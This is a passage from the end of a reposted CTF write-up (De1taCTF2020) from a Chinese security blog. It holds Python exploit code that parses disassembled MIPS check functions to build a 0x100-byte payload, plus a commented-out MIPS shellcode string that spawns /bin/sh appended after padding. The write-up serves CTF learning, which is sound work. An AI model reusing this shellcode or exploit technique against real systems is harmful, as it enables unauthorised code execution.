curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x8                else:                    parameters.append(u"0")                    para_offset += 0x4                # constant                curr_ins = instructions[para_offset]                if curr_ins[0] == 'addiu':                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                else:                    parameters.append(unicode(0))                    para_offset += 0xc                # for the following, this is to test                # many circumstances have not been considered                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                # constant                curr_ins = instructions[para_offset]                # parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                parameters.append(unicode(0x7f))                para_offset += 0x18                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x14                else:                    parameters.append(u"0")                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                else:                    parameters.append(u"0")                type1[func_addr] = parameters                pass            # type 2            elif instructions[func_addr + 0x104][0] == u"jal":                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    initial = curr_ins[1].split(", ")[-1]                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                else:                    initial = u"0"                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                if initial != u"1":                    para_offset += 0x28                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                else:                    para_offset += 0x2c                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    initial = curr_ins[1].split(", ")[-1]                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                else:                    initial = u"0"                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                if initial != u"1":                    para_offset += 0x28                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                else:                    para_offset += 0x2c                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    initial = curr_ins[1].split(", ")[-1]                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                else:                    initial = u"0"                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                if initial != u"1":                    para_offset += 0x28                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                else:                    para_offset += 0x2c                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    initial = curr_ins[1].split(", ")[-1]                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                else:                    initial = u"0"                    parameters.append(initial)                    parameters.append(unicode((int(initial) + 1) % 4))                    parameters.append(unicode((int(initial) + 2) % 4))                if initial != u"1":                    para_offset += 0x28                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                else:                    para_offset += 0x2c                    curr_ins = instructions[para_offset]                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                    para_offset += 0x10                type2[func_addr] = parameters                pass            # type 3            elif instructions[func_addr + 0x10c][0] == u"jal" or instructions[func_addr + 0x114][0] == u"jal" or instructions[func_addr + 0x11c][0] == u"jal":                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x8                else:                    parameters.append(u"0")                    para_offset += 0x4                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x8                else:                    parameters.append(u"0")                    para_offset += 0x4                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x10                else:                    parameters.append(u"0")                    para_offset += 0xc                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x30                else:                    parameters.append(u"0")                    parameters.append(u"0")                    para_offset += 0x28                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x24                else:                    parameters.append(u"0")                    parameters.append(u"0")                    para_offset += 0x1c                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x2c                else:                    parameters.append(u"0")                    parameters.append(u"0")                    para_offset += 0x24                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    parameters.append(curr_ins[1].split(", ")[-1])                else:                    parameters.append(u"0")                    parameters.append(u"0")                type3[func_addr] = parameters                pass            # type 4            elif instructions[func_addr + 0x9c][0] == u"jal" or instructions[func_addr + 0x9c + 4][0] == u"jal":                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x10                else:                    parameters.append(u"0")                    para_offset += 0xc                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x10                else:                    parameters.append(u"0")                    para_offset += 0xc                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x10                else:                    parameters.append(u"0")                    para_offset += 0xc                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                type4[func_addr] = parameters                pass            # type 5            elif instructions[func_addr + 0x190][0] == u"jal":                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x24                else:                    parameters.append(u"0")                    para_offset += (0x24 - 8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x38                else:                    parameters.append(u"0")                    para_offset += (0x38 - 0x8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x24                else:                    parameters.append(u"0")                    para_offset += (0x24 - 8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                else:                    parameters.append(u"0")                    #######################                para_offset = func_addr + 0xd0                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x24                else:                    parameters.append(u"0")                    para_offset += (0x24 - 8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x38                else:                    parameters.append(u"0")                    para_offset += (0x38 - 0x8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x24                else:                    parameters.append(u"0")                    para_offset += (0x24 - 8)                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x34                else:                    parameters.append(u"0")                    para_offset += 0x2C                type5[func_addr] = parameters                if 'beq' in instructions[func_addr + 0xc4][0]:                    parameters.append(False)                else:                    parameters.append(True)                if 'beq' in instructions[func_addr + 0x17c][0]:                    parameters.append(False)                else:                    parameters.append(True)                pass            # type 6            else:                para_offset = func_addr + 0x18                parameters = []                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc + 8                else:                    parameters.append(u"0")                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0xc                else:                    parameters.append(u"0")                    para_offset += 0x8                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x14                else:                    parameters.append(u"0")                    para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x8                else:                    parameters.append(u"0")                    para_offset += 0x4                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                para_offset += 0x10                curr_ins = instructions[para_offset]                if 'lbu' not in curr_ins[0]:                    parameters.append(curr_ins[1].split(", ")[-1])                    para_offset += 0x8                else:                    parameters.append(u"0")                    para_offset += 0x4                # constant                curr_ins = instructions[para_offset]                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))                type6[func_addr] = parameters    result = []    for x in check_functions[::-1]:        if x in type1:            result.append(p32(case1(map(int, type1[x]))))        elif x in type2:            result.append(p32(case2(map(int, type2[x]))))        elif x in type3:            result.append(p32(case3(map(int, type3[x]))))        elif x in type4:            result.append(p32(case4(map(int, type4[x]))))        elif x in type5:            # print map(int, type5[x]), hex(x)            # print hex(x)            result.append(p32(case5(map(int, type5[x]))))        elif x in type6:            result.append(p32(case6(map(int, type6[x]))))    payload = "".join(result).ljust(0x100, "x00")    return payload# shellcode = "x00x01x06x24xdcxffxffx27x08x00xe0x03x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxffx06x28xffxffxd0x04xe0xffxbdx27x18x00xe4x27xe8xffxa4xafxecxffxa0xafxe8xffxa5x23xabx0fx02x24x0cx01x01x01/bin/sh"# print generatePayload("real_code") + "AAAABBBB" + shellcode

本文始发于微信公众号(谢公子学安全):De1taCTF2020 部分Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日10:42:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   De1taCTF2020 部分Writeuphttps://cn-sec.com/archives/483698.html

发表评论

匿名网友 填写信息